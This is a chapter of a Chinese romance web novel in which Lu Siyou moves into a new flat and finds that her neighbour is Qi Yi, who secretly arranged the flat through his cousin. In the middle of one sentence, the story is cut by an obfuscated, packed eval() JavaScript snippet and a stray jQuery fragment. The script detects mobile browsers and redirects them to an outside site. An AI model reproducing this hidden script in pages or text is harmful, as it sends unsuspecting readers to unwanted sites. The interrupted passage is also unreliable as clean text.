22. 新邻居
作品:《好眠啦小狗》 思索至此,路思游心里突然冒出来一个念头:是不是有必要跟祁熠汇报一下,说自己已经搬走了,以后没法再接上门喂狗了?
她拿起手机,手指又顿住。
上次在车里他听到自己要租房实习。而且他已经回国,本身也不需要她再去帮忙。
特意发条信息,倒显得有些多余。
还是算了。
收回手机,她拆开压缩袋,扁平的被褥床单像块压缩饼干,随着气流的泄出逐渐弹起来恢复蓬松,她抱起来走进主卧。
上周来看房时,只是大致浏览一圈,检查了设施之类的。此刻才好好观察起来,主卧面积挺宽敞的,窗户是一大扇落地窗。
房间朝南,视野开阔,楼层不高,窗前也没什么遮挡物,能看清窗外绵绵不断的雨丝。
如果是晴天的话,阳光透过大大的落地窗照进来,室内肯定会很亮堂。
她抱着被子站在原地,忽然觉得自己像一株渴望阳光的绿色植物。相比漫长的夜,她更喜欢太阳。
路思游忽然想到高二月考后,那时正处于冬天,因为学习成绩两个人被分到同桌。
祁熠的位置是在左边,靠近南面的窗户,她则在右边,靠近过道的位置。
上午第四节课,太阳当空,阳光洒下来亮堂又暖洋洋的,她随口夸了嘴喜欢阳光。之后每天中午第四节课,祁熠就会跟她调换位置。
随着越来越频繁,他干脆去办公室,找班主任调换两个人的位置。
班主任老王是个四十岁脾气平和的中年男人,在听到班上第一名祁熠同学的请求时,是一头雾水。
老王左想右想也不知道两个位置有什么区别,但他还是试图融入学生们的圈子,所以很愉快地同意了他的换座位申请。
想到哪去了?路思游收回思绪。总之,对于这个房间,她还是很满意的。她越想越觉得自己有些幸运,捡到大漏。
晚上七点,路思游将带过来的大包小包整理完后,拂去手上粘上的灰尘,站在客厅中央环顾一周,经过一下午的收拾,总算是有一点“家”的气息了。
想到白天和秦枝关于新邻居的对话,她看了眼时间,确认对方这个点应该在家后,就抱着一大袋零食肉干,站到对门前。
低头看去,门前干干净净。白天堆放的快递纸箱已被主人清理完毕,她抬起手敲门。
“咚咚—”
先试着敲了两下,屋里没有回应。
可能没听到,她又敲了两下,屋里依旧很安静。
她难道新邻居还没下班,不在家?
路思游正要离开,决定改天再来拜访。没想到敲门声音惊动到屋内的狗,门里顿时传来一阵警觉的狗吠声。
没过多久,狗叫声停了,紧接着传来拖鞋踩在地板上的轻响,由远及近。
门打开一条缝,屋里的暖黄灯光顿时倾泻出来,照亮她脚边一小块地面。
然后,门被完全拉开。
她下意识朝门里望去,整个人僵在原地。
“……”
只见祁熠穿着灰色连帽卫衣,袖子随意挽至手臂,露出冷白的皮肤。正站在门边,一手搭在门把手上,另只手安静垂在身侧。
黑发微乱沾染着水汽,神态放松,看上去是刚洗完澡。
客厅暖光在他身后晕开,透过缝隙,能看到客厅沙发上被随意丢放的游戏手柄和笔记本电脑。
从他身后,跳出一只白色小狗。
撒旦兴奋地探出头来,认出来是她后,立刻扑过来咬她的牛仔裤腿,喉咙里还发出兴奋的呜呜声,尾巴在她小腿边扫来扫去。
路思游的大脑足足空白了十秒。
“…祁熠?!”
看到这张熟悉的脸赫然出现在眼前,她在心里不断默念不会吧?不会真的这么巧吧?
双腿几乎是下意识地后退了半步:“你怎么……会在这里?”
“哦。“在这个场景看见她,祁熠的表情很平淡,倒是一点都不震惊。
他倚靠在门框边,盯着路思游脸上宛若惨遭雷劈的表情。
姿势带着房子主人的松弛,“显然易见,我住在这。”
“你,也住在这?”
他摆出一副理所当然的模样,掀起眼皮简短地“嗯”的应声。
“怎么没听你提过要租房,你不是在书湖园有房子吗?不住了吗?”她问,语气里充满惊讶。
不懂祁熠为什么放着自家的房子不住,非要搬出来租房住,而且还突然出现在她眼前,搬到她的对门成为了她的新邻居。
“你一句话想让我回答几个问题。”他低笑,弯腰伸手顺了顺狗背上的毛,简单解释道:“我爸想让我帮他的忙,这离他公司近。”
原来是这样。
脑海浮现出礼安市的全貌地图,她在大致地推算路程。
语气有些不确定,她说:“但,书湖园到礼西,好像也就多了半个小时车程?”
“半小时?”祁熠跟着重复了一遍,直起身,玄关处的射灯打下来,他长长的睫毛被投到侧脸。
然后就听到他念经般开始算:“半个小时就是三十分钟,三十分钟就是一千八百秒,每天往返两次就是三千六百秒……一年三百六十五天的话,那就是……“
他顿了顿,似乎试图让她理解这半小时到底有多珍贵,“路思游,你有没有听过那句至理名言?”
对话突然跳到名言名句,她不禁有些愣,一时被问住了,只好接话:“……什么名言?”
“时间就是生命,”他打量她,“你懂不懂?”
额好吧,她确实不懂。不懂祁大少爷每天都奇奇怪怪的脑回路。
她只是一时还没接受,不能接受和他成为邻居,而且每天住对门岂不是意味着要抬头不见低头见了?
之前见面相处勉强是基于上门喂狗而产生联系,是单主和委托的关系。现在突然成为邻居,总觉得哪里有些怪怪的不自然。
“你呢?“”他微微低头,语气自然地反问,“你在礼西找的房子,就是在这儿?”
她点点头,回答:“对,我今天刚搬过来。”
祁熠挑挑眉,表情有些微妙。看起来带了点意外,又像是早就知情。
他没说什么,只嗯了声。
低头瞥见撒旦盯着她的手望眼欲穿,嘴边恨不得要分泌出哈喇子。她这才想起手里还提了袋零食牦牛干,是本来打算送给新邻居的小礼物。
路思游拆开包装,拿出小袋喂到它嘴边。
然后把零食袋递过去:“给撒旦的,正好剩一袋。”
他接过来,手指不经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070028|193790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意擦过她的指尖,温热的触感转眼消失。他垂眸看了眼手里的零食包装,又抬头看向她:“这是,见面礼?”
不等她回答,他接着又说:“可是我的那份还没准备好,怎么办?”
“不用不用!”路思游立刻摇头,声音有些慌:“我只是上午来的时候,看到快递盒子上是狗粮,刚好我这里还有一袋,留着也没用,而且……我也不知道这户住户会是你。”
说完,她就转身,手忙脚乱地输入密码开了锁,火速逃回房间。
—
路思游恹恹地关上门,回到卧室,刚才急促跳动的心脏这才缓下来。她躺回铺好的床铺上,手肘托腮,在做人生思考。
竟然和祁熠成为邻居了?!!
大脑有些乱糟糟的。
得知祁熠也搬来对面后,她是有些抗拒的想法。
但这房子是她千辛万苦好不容易才找到的,不仅离公司近上班方便,价格也合适。而且今天刚冒雨麻烦室友们帮忙搬来,她肯定是不想搬走的。
毕竟等到再次找到合适的房子,不知道会是猴年马月。耽误入职时间不说,还浪费了精力财力。
虽然不知道祁熠是怎么找到满星湾这个小区的,但这是人家花了租金搬来的,她自然没那个立场和资格让他搬出去,再找其他房子住。
她翻了个身,身体朝向天花板,盯着头顶的白炽灯。
算了。
在一番权衡和思想斗争,她决定暂时先住在这里,以后觉得还是不合适的话,再找房子搬出去。
再说,平时上下班都不在家,门一关,就是两个世界,应该不怎么碰得见,注意点,应该也没什么……
—
满星湾这两套房子是傅逢宁父亲买下的。也就是他,祁熠的姨夫。
房子大概是前几年买的,傅父当时在礼安工作,傅逢宁也跟着转学搬到礼安上初中。
为了方便傅逢宁上学,傅父就大手一挥,直接买下学校附近的两套房子,给他上学住。
后面随着工作的发展,傅父又搬回到淮则,傅逢宁也转回淮则上高中,这两套房子自然也就没继续住,便闲置出来。
上次在送路思游回学校的车上,他听到她说要找礼西区的房子时,立马就想到傅逢宁在她公司周边有房子。
送走她后,祁熠给傅逢宁发去微信:【在?】
傅逢宁:【有事?】
祁熠:【在哪儿?】
傅逢宁:【淮大。】
祁熠:【帮个忙。】
傅逢宁眉毛微挑。
祁熠八百年不主动联系他,一上来就是要他帮忙。难得开口一次请他帮忙,傅逢宁顿时也来了兴致。
他回拨电话,接通后,傅逢宁问:“”什么事儿?“”
祁熠:“没记错的话,你是不是在礼西那边有套房子?”
—
晚上八点,路思游从行李里翻出一袋泡面走进厨房,准备随便煮包泡面应付一餐。
泡面煮到一半,头顶的灯忽然闪烁起来。抬头看去,大概是时间久了灯泡坏了。
借着忽明忽暗的灯光,几分钟后,泡面在锅里咕噜噜滚动。
她迅速将锅中的泡面捞出,关上快要燃尽的厨房光源,打算明天去附近超市,买只新灯泡然后换上。

